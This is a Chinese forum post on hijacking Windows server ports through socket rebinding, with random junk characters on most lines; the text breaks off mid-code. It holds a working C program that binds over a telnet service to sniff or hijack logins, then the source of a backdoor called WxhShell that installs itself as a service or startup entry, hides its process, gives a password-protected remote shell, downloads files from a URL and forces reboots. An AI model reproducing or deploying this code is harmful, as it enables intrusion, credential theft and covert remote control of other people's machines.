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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: YNI;h%w  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2SYKe$e  
EOhC6>ATh  
  saddr.sin_family = AF_INET; [O\9 9>  
"9w}dQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fTcY"A,2  
=LOk13l\"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \6{LR&  
+s ULo  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #G[t X6gU  
^+wk  
  这意味着什么?意味着可以进行如下的攻击: 40u7fojg2  
CI^[I\$&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \0nlPXk?G  
})P O7:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d .p'pGL  
88+ =F XG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =5?.'XMk  
`%Q&</X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6AAswz'$P  
F_ 81l<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 U9 bWU'  
33 : @*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ypl G18  
p-xd k|'[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D^|9/qm$  
K3L"^a  
  #include .%IslLZ  
  #include g8RPHjvZ  
  #include eeW`JG-E  
  #include    uaaf9SL?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?_%u)S*g  
  int main() ywO mQcZ  
  { QjJfE<h  
  WORD wVersionRequested; Z5$fE7ba+  
  DWORD ret; {rDq_^  
  WSADATA wsaData; LL.x11 o3  
  BOOL val; pw\P<9e=  
  SOCKADDR_IN saddr; oR#Ob#&  
  SOCKADDR_IN scaddr; }RIU8=P  
  int err; <UT>PCNG  
  SOCKET s; N'QqJe7Z  
  SOCKET sc; 9,scH65x  
  int caddsize; aBxiK[[`  
  HANDLE mt; ]ENK8bW  
  DWORD tid;   {~_ Y _-  
  wVersionRequested = MAKEWORD( 2, 2 ); Bd&`Xfebj  
  err = WSAStartup( wVersionRequested, &wsaData ); VO_dA4C}z  
  if ( err != 0 ) { FqZgdmwR  
  printf("error!WSAStartup failed!\n"); gfN2/TDC]P  
  return -1; epkD*7  
  } R!6=7  
  saddr.sin_family = AF_INET; n'M>xq_  
   w"~<h;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \J3/keL  
: y1Bt+Fp  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '1-maM\r  
  saddr.sin_port = htons(23); =ewyQ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aCl A{  
  { g*J@[y;  
  printf("error!socket failed!\n"); ~x#vZ=]8  
  return -1; Bd# TUy  
  } |55dbL$w  
  val = TRUE; E7`qmn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 64umul  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +rc SL8C  
  { C6]OAUXy:F  
  printf("error!setsockopt failed!\n"); $gvr -~  
  return -1; ?:uNN  
  } ),` 8eQC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v+6e;xl8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  z)w-N  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 orqJ[!u)`  
y' [LNp V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z9[+'ZWt  
  { ||Y<f *  
  ret=GetLastError(); ~=cmM  
  printf("error!bind failed!\n"); z_&P?+"Df  
  return -1; S-c ^eLzQ  
  } n_23EcSy  
  listen(s,2); J# EP%  
  while(1) 5FOqv=6S  
  { jDX>izg;V  
  caddsize = sizeof(scaddr); a <wL#Id  
  //接受连接请求 {v,)G)obWw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %\6Q .V#s  
  if(sc!=INVALID_SOCKET) *yez:qnx  
  { 9]7u _  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jatr/  
  if(mt==NULL) 5k$vlC#[H  
  { HdNnUDb$B  
  printf("Thread Creat Failed!\n"); !0" nx{7.  
  break; N'?u1P4G  
  } d1G8*YO@  
  } H M:r0_  
  CloseHandle(mt); Qihdn66  
  } VteEDL/w  
  closesocket(s); f<=Fe:1.  
  WSACleanup(); yWb4Ify  
  return 0; rQr!R$t/[  
  }   ,Eu?JH&}u  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z a(|(M H  
  { 3CZS)  
  SOCKET ss = (SOCKET)lpParam; Ia4)uV8  
  SOCKET sc; #fDs[  
  unsigned char buf[4096]; *C2R`gpBI  
  SOCKADDR_IN saddr; /X#z*GX  
  long num; \TbVS8e^  
  DWORD val; )(TAT<  
  DWORD ret; 5/@UVY9_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uQ3[Jz`y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [po "To  
  saddr.sin_family = AF_INET; ^+/kr/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %l !xkCKA  
  saddr.sin_port = htons(23); OZ(dpV9.S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xDjV `E]  
  { T?wzwGp-[  
  printf("error!socket failed!\n"); NX,-;v  
  return -1; qLK?%?.N<  
  } Jp~zX lu  
  val = 100; 3)N\'xFh@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i$uN4tVKT  
  { l,`!rF_  
  ret = GetLastError(); 5kMWW*Xtf  
  return -1; .F2 :!h$  
  } /,tAoa~FA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FHg0E++?  
  { 6v732;^  
  ret = GetLastError(); >: Wau  
  return -1; &c%Y<1e`%  
  } |yY`s6Uq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n}nEcXb  
  { 8@\7&C(g17  
  printf("error!socket connect failed!\n"); jndGiMA  
  closesocket(sc); ?Bx./t><  
  closesocket(ss); ]A+o>#n}x  
  return -1; JL^2l$up  
  } ',=g;  
  while(1) zP)~a  
  { ~ 'Vxg}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D4u% 6R|F  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 A :e;k{J  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h~} .G{"  
  num = recv(ss,buf,4096,0); TqAPAHg  
  if(num>0) BmBz}:xMez  
  send(sc,buf,num,0); %X1x4t]  
  else if(num==0) z`3( ,V  
  break; (z7+|JE.  
  num = recv(sc,buf,4096,0); `/IKdO*!S  
  if(num>0) B[o`k]]  
  send(ss,buf,num,0); kOrl\_!z3  
  else if(num==0) !0}\&<8/m  
  break; T.:+3:8|F  
  } B80aw>M  
  closesocket(ss); sen=0SB/  
  closesocket(sc); UKBJ_r  
  return 0 ; WF2-$`x  
  } ~r*P]*51x  
dcfe_EuT  
K[?Xm"4  
========================================================== n1v5Q2xw  
g@ith&*=h  
下边附上一个代码,,WXhSHELL ,xsH|xW  
nE W31 8  
========================================================== ;;U :Jtn2  
9Kv|>#zff  
#include "stdafx.h" {6Au3gt/  
rofNZ;nu  
#include <stdio.h> q_fam,9  
#include <string.h> x3G:(YfO  
#include <windows.h> +[-i%b3q  
#include <winsock2.h> >SmV74[s2  
#include <winsvc.h> C NrII sJ  
#include <urlmon.h> []pN$]+c  
Yl^mAS[w&  
#pragma comment (lib, "Ws2_32.lib") _}6q{}jn:c  
#pragma comment (lib, "urlmon.lib") zu\`1W^  
6 ,b"  
#define MAX_USER   100 // 最大客户端连接数 3iNkoBCg  
#define BUF_SOCK   200 // sock buffer $lwz-^1t.  
#define KEY_BUFF   255 // 输入 buffer )%Iv[TB[  
,_ 2x{0w:>  
#define REBOOT     0   // 重启 N_gD>6I  
#define SHUTDOWN   1   // 关机 Bi%x`4Lf  
&#{dWObh  
#define DEF_PORT   5000 // 监听端口 r6.d s^  
e":G*2a  
#define REG_LEN     16   // 注册表键长度 vGd1w%J-  
#define SVC_LEN     80   // NT服务名长度 &, a3@i  
{8RFK4! V@  
// 从dll定义API !nf-}z e{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t+Bf#:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :!TI K1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FY3IUG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qSU| =  
2umv|]n+l|  
// wxhshell配置信息 #1nJ(-D+  
struct WSCFG { 6p;m\  
  int ws_port;         // 监听端口 }j {!-&  
  char ws_passstr[REG_LEN]; // 口令 X[$++p .  
  int ws_autoins;       // 安装标记, 1=yes 0=no t#E}NR  
  char ws_regname[REG_LEN]; // 注册表键名 eVh - _  
  char ws_svcname[REG_LEN]; // 服务名 Sus;(3EX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aAt>QxGQW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qL /7^) (  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z?]G3$i(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VR? ^HA9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2 @j";+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #s5N[uK^m  
rRFAD{5)  
}; olux6RP[B  
hVpCB,  
// default Wxhshell configuration TD@v9  
struct WSCFG wscfg={DEF_PORT, n~IVNB*  
    "xuhuanlingzhe", 1 OaXo!  
    1, W8WXY_yJt  
    "Wxhshell", kAYb!h[`  
    "Wxhshell", B 9dt=j3j2  
            "WxhShell Service", GIwh@4;  
    "Wrsky Windows CmdShell Service", 8(U{2B8>\%  
    "Please Input Your Password: ", ;3'NMk  
  1, J>vMo@  
  "http://www.wrsky.com/wxhshell.exe", <'U]`L p  
  "Wxhshell.exe" Qx3eLfm  
    }; \%jVg\4 '  
bCv{1]RC2  
// 消息定义模块 E2wz(,@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "y?\Dx   
char *msg_ws_prompt="\n\r? for help\n\r#>"; ._Zt=jB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !0VfbY9C  
char *msg_ws_ext="\n\rExit."; f:JlZ&  
char *msg_ws_end="\n\rQuit."; p<Z3tD;Z  
char *msg_ws_boot="\n\rReboot..."; )u:Q) %$t  
char *msg_ws_poff="\n\rShutdown..."; KFRw67^  
char *msg_ws_down="\n\rSave to "; (]2H7X:b  
PXKJ^fa  
char *msg_ws_err="\n\rErr!"; <cN~jv-w$  
char *msg_ws_ok="\n\rOK!"; %|W.^q  
l,|%7-  
char ExeFile[MAX_PATH]; a6xj\w  
int nUser = 0; sY SLmUZ{  
HANDLE handles[MAX_USER]; RzKb{> ;A  
int OsIsNt; NPnHH:\;  
1`0#HSO  
SERVICE_STATUS       serviceStatus; #s-iy+/1oN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y-!YhWsS  
[tT8_}v$LN  
// 函数声明 LaFZ?7@|}  
int Install(void); 22hSove.  
int Uninstall(void); knp>m,w  
int DownloadFile(char *sURL, SOCKET wsh); cR7wx 0Aj  
int Boot(int flag); 6=_~ 0PcY  
void HideProc(void); l: |D,q  
int GetOsVer(void); 1%[_`J;>Z  
int Wxhshell(SOCKET wsl); QbFHfA2Ij  
void TalkWithClient(void *cs); q<vf,D@{ !  
int CmdShell(SOCKET sock); I&yVx8aH}  
int StartFromService(void); Wzq>JNn y  
int StartWxhshell(LPSTR lpCmdLine); -Yi,_#3{  
)Q;978:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M)-6T{[IT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {2d_"lHBt  
$RX'(/  
// 数据结构和表定义 &n2e  
SERVICE_TABLE_ENTRY DispatchTable[] = + xv!$gJEj  
{ z`Wt%tL(  
{wscfg.ws_svcname, NTServiceMain}, :fcM:w&  
{NULL, NULL} dIwe g=x  
}; t:~t@4j}  
TA18 gq  
// 自我安装 LwqC ~N  
int Install(void) -;(Q1)&  
{ jR ~DToQ  
  char svExeFile[MAX_PATH]; !v|ISyK  
  HKEY key; F?+3%>/A @  
  strcpy(svExeFile,ExeFile); {BBw$m,o  
gbBy/_b  
// 如果是win9x系统,修改注册表设为自启动 W[bmzvJ_X  
if(!OsIsNt) { !\ND(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V)M1YZV{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -F/st  
  RegCloseKey(key); BcWcdr+}9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `bI)<B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5FKBv e@  
  RegCloseKey(key); JNI>VP[c  
  return 0; yGBQ0o7E  
    } x+5p1sv6  
  } od<b!4k~s  
}  cc=gCE  
else { l U]un&[N  
[onqNp  
// 如果是NT以上系统,安装为系统服务 BbOu/i|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); or*HC&c7  
if (schSCManager!=0) @`"AHt  
{ %u\26[/  
  SC_HANDLE schService = CreateService _o6G6e,  
  ( ^ZeJ[t&!#  
  schSCManager, NLd``=&  
  wscfg.ws_svcname, }-p[V$:S  
  wscfg.ws_svcdisp, f'(l&/4z{  
  SERVICE_ALL_ACCESS, GOy%^:Xd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1MsWnSvzf  
  SERVICE_AUTO_START, k8nLo.O  
  SERVICE_ERROR_NORMAL, qem(s</:  
  svExeFile, u^W2UE\  
  NULL, K/_9f'^  
  NULL, v5ur&egVs  
  NULL, `iKj  
  NULL, * A|-KKo\  
  NULL W`rNBfG>  
  ); oP?YA-#nc  
  if (schService!=0) OKOu`Hz@  
  { Z,7R;,qX  
  CloseServiceHandle(schService); H[Q_hY[>V  
  CloseServiceHandle(schSCManager); r`\A nT?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1$lh"fHU  
  strcat(svExeFile,wscfg.ws_svcname); 1nhtM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5~ 'Ie<Y_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )ukpJ z""  
  RegCloseKey(key); :\~+#/=:  
  return 0; ~i;fDQ&!  
    } ~ AQp|  
  } 3:/'n  
  CloseServiceHandle(schSCManager); 9%)=`W  
} y %8op:'  
} H5>hx {  
/ jTT5  
return 1; k,Qsk d-N]  
} :c[n\)U[aa  
ks;% *d  
// 自我卸载 `\Ku]6J]5  
int Uninstall(void) .ae O}^  
{ &O\(;mFc  
  HKEY key; XEM'}+d  
+V862R4,o  
if(!OsIsNt) { q~K(]Ya/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @JkK99\(>9  
  RegDeleteValue(key,wscfg.ws_regname); &F$:Q:* *  
  RegCloseKey(key); d5I f"8`@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]<uQ.~  
  RegDeleteValue(key,wscfg.ws_regname); V_n<?9^4  
  RegCloseKey(key); X26   
  return 0; %bXtKhg5eJ  
  } K!AAGj`  
} /(C~~XP)  
} +?D6T!)  
else { qf)$$qi  
vC;]jJb:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'BMy8  
if (schSCManager!=0) $K~LM8_CKy  
{ oT95^y\9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $3+PbYY  
  if (schService!=0) m(OvD!  
  { ,"}Rg1\4t  
  if(DeleteService(schService)!=0) { *~$~yM/~3U  
  CloseServiceHandle(schService); yI{5m^s{  
  CloseServiceHandle(schSCManager); _A_ A$N~9  
  return 0; p\v Mc\  
  } 2 -!L _W(  
  CloseServiceHandle(schService); Ft JjY@#  
  } M&Y .;  
  CloseServiceHandle(schSCManager); tCF&OOI4`  
} ~=r^3nZR/J  
} [p r"ZQ]  
Y]`.InG@  
return 1; 6qvp*35Cx  
} E9! N>0  
s=I'e/"7  
// 从指定url下载文件 Z^KA  
int DownloadFile(char *sURL, SOCKET wsh) bBxw#_3A?E  
{ G`=r^$.3WB  
  HRESULT hr; _cDF{E+;  
char seps[]= "/"; 0\{BWNK  
char *token; uUR~&8ERX  
char *file; M<?Q4a'Q  
char myURL[MAX_PATH]; uv{P,]lK  
char myFILE[MAX_PATH]; Pj#'}ru!  
{y kYW%3s  
strcpy(myURL,sURL); XV>JD/K2  
  token=strtok(myURL,seps); YOyX[&oi  
  while(token!=NULL) rPzQ8<  
  { sPAg)6&M  
    file=token; 0Rxe~n1o  
  token=strtok(NULL,seps); +m\|e{G  
  } }peBR80tQ  
[Bb utGvj  
GetCurrentDirectory(MAX_PATH,myFILE); 1MkI0OZE  
strcat(myFILE, "\\"); J<j&;:IRd  
strcat(myFILE, file); dpZ;l 9  
  send(wsh,myFILE,strlen(myFILE),0); 9$K;Raz%  
send(wsh,"...",3,0); ?0*8R K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9|' B9C  
  if(hr==S_OK) }71LLzG`/  
return 0; /Poet%XvRx  
else ZsP2>%"  
return 1; I XA>`D  
(n( fI f  
} z;u> Yz+3  
JeH;v0  
// 系统电源模块 t/i5,le  
int Boot(int flag) C2e.2)y  
{ F-Z%6O,2  
  HANDLE hToken; ?^Hf Np9  
  TOKEN_PRIVILEGES tkp; OIb  
)8gGv  
  if(OsIsNt) { Aez2*g3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :q3+AtF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4NVV5_K a  
    tkp.PrivilegeCount = 1; dm rps+L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `A%^UCd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9e!NOl\_;.  
if(flag==REBOOT) { 5@osnf?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YL^=t^ !4  
  return 0; -!qu"A:  
} w6|9|f/  
else { XP[uF ;w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K5Wg"^AHY/  
  return 0; I lR\  #  
} ?gGt2O1J  
  } yQS+P8x&|]  
  else { yWPIIWHx!  
if(flag==REBOOT) { |Q~cX!;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6bc3 37b  
  return 0; 1a0kfM$  
} UsVMoX^  
else { :)f7A7:;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pfuW  
  return 0; Lr;(xw\['  
} z~6y+  
} z1OFcqm  
EfLO5$?rm  
return 1; td2/9|Q  
} w-B^ [<  
R  
// win9x进程隐藏模块 u?ek|%Ok  
void HideProc(void) I&c ~8Dw  
{ )-rW&"{U  
#4LFG\s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~Z/ ^c,[:  
  if ( hKernel != NULL ) }Y(]6$uS  
  { $V>98M>j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +H/jK@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7"X>?@  
    FreeLibrary(hKernel);  n]W_e  
  } K?x,T8<aW  
SM0M%  
return; >r/rc`Q  
} XhzGLYb~I`  
Rn%N&1 Ef  
// 获取操作系统版本 Ko>&)%))$X  
int GetOsVer(void) f67NWFX  
{ 4o:hyh   
  OSVERSIONINFO winfo; R$kpiqK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =tTqN+4  
  GetVersionEx(&winfo); 2],_^XBvB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p4>$z& _  
  return 1; ]Hj<IvG  
  else 9ch#}/7B  
  return 0; Z[!d*O%R_  
} Ey{%XR+*;  
 1iT\df  
// 客户端句柄模块 k#TYKft  
int Wxhshell(SOCKET wsl) gCd`pi 8  
{ Rx36?/  
  SOCKET wsh; 07T70[G  
  struct sockaddr_in client; [36,eK  
  DWORD myID; u]^N&2UW  
[mxTa\  
  while(nUser<MAX_USER) Dz=k7zRg"  
{ Rr(* aC2P  
  int nSize=sizeof(client); +!-~yf#RE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h~U02"$  
  if(wsh==INVALID_SOCKET) return 1; ~\nBjM2  
Sgb*tE)T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U7mozHS,:9  
if(handles[nUser]==0) PHg48Y"Nd  
  closesocket(wsh); et,GrL)l  
else /e\{    
  nUser++; z!QDTIb  
  } t-u|U(n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =bh*[ , -  
~H)4)r^  
  return 0; $v.C0 x  
} 9_ICNG%  
Thy=yz;p  
// 关闭 socket $DFv30 f  
void CloseIt(SOCKET wsh) QlFZO4 P3|  
{ R`Aj|C z  
closesocket(wsh); wCs3:@UH  
nUser--; 7z6 b@$,  
ExitThread(0); \ A1uhHP!  
} k@>\LR/v  
yDb'7(3-  
// 客户端请求句柄 >e5 *prx+  
void TalkWithClient(void *cs) P=L$;xgp  
{ |6:=}dE#[  
$$i. O}  
  SOCKET wsh=(SOCKET)cs; .o%^'m"=D[  
  char pwd[SVC_LEN]; )o1eWL}  
  char cmd[KEY_BUFF]; Sydh2d  
char chr[1]; ,7Y-k'7Kop  
int i,j; a~h:qpg c  
Dq\ Jz~  
  while (nUser < MAX_USER) { V{-AP=C7  
n;HHogA  
if(wscfg.ws_passstr) { r,SnXjp@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wCMQPt)VS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c;f!!3&  
  //ZeroMemory(pwd,KEY_BUFF); Z!d7&T}  
      i=0; =+5,B\~q@C  
  while(i<SVC_LEN) { ,?UM;^  
Eu}b8c  
  // 设置超时 5/",<1  
  fd_set FdRead; F+UG'4%  
  struct timeval TimeOut; x"kjs.d7[<  
  FD_ZERO(&FdRead); J;t 7&Zpe  
  FD_SET(wsh,&FdRead); -kz4FS  
  TimeOut.tv_sec=8; {>3\ N0e5  
  TimeOut.tv_usec=0; |s7`F%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )'4P.>!!aQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rsn.4P=  
(w (  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {n3EGSP#  
  pwd=chr[0]; uy_wp^  
  if(chr[0]==0xd || chr[0]==0xa) { cxeghy:;U  
  pwd=0; 3:/'t{ ^B  
  break; xVB;s.'!  
  } i>L+gLW  
  i++; Uk*IpP`  
    } pY)5bSA  
M`,~ mU  
  // 如果是非法用户,关闭 socket U=Y)V%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1[F3 Z  
} sRVIH A ,  
C-eA8pYY/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); # M, 7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )"(]Lf's  
ql{(Lf$  
while(1) { Jo(`zuLJ  
0X8t>#uF  
  ZeroMemory(cmd,KEY_BUFF); Eh</? Qv\  
s>_V   
      // 自动支持客户端 telnet标准   'z@0  
  j=0; Kr'f-{  
  while(j<KEY_BUFF) { c'6g*%2k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'XQ`g CF=  
  cmd[j]=chr[0]; <oKGD50#  
  if(chr[0]==0xa || chr[0]==0xd) { l} ^3fQXI  
  cmd[j]=0; Kemw^48ts  
  break; GY3 Wj  
  } W+wA_s2&D  
  j++; zQ?!f#f  
    } e<7.y#L  
YG:3Fhx0~  
  // 下载文件 rVvR!"//yH  
  if(strstr(cmd,"http://")) { 5 hj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VpfUm?Nq  
  if(DownloadFile(cmd,wsh)) [u@Jc,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0<"k8 k@J  
  else <tpmUA[]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'crlA~&#/  
  } c5q9 LQ/  
  else { "]'?a$\ky:  
yw[#  
    switch(cmd[0]) { +cJy._pi!  
  >F jR9B  
  // 帮助 7qOa ;^T  
  case '?': { exh/CK4;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |Z\R*b"  
    break; N- e$^pST  
  } wHZW `  
  // 安装 @Q&3L~K"  
  case 'i': { I +5)Jau^S  
    if(Install()) ~"pKe~h   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kh~'Cn "O  
    else Mwb/jTp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;Mm7n12z C  
    break; ^L1L=c;,  
    } 76tdJ!4Z  
  // 卸载 \y6OUM2y  
  case 'r': { /[:dp<  
    if(Uninstall()) #Lsnr.80  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O1%pxX'`S  
    else f-6vLX\Vu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); waX>0e  
    break; AL/?,%F  
    } .iCDXc{#  
  // 显示 wxhshell 所在路径 GWsE;  
  case 'p': { rqv))Zo`  
    char svExeFile[MAX_PATH]; {l_{T4xToB  
    strcpy(svExeFile,"\n\r"); NW~z&8L  
      strcat(svExeFile,ExeFile); c,so`I3rI  
        send(wsh,svExeFile,strlen(svExeFile),0); u$%t)2+$4  
    break; 5tJ,7Y'  
    } kP#e((f,  
  // 重启 A,su;Q h  
  case 'b': { i'd2[A.7I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KKA~#iCk  
    if(Boot(REBOOT)) |r ue=QZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {NpM.;  
    else { AE: Z+rM*  
    closesocket(wsh); r|4t aV&  
    ExitThread(0); ,1'4o3  
    } pZ`|iLNl-  
    break; jF`BjxrG  
    } h%WE=\,Qp  
  // 关机 VxP&j0M>  
  case 'd': { %0#1t 5g  
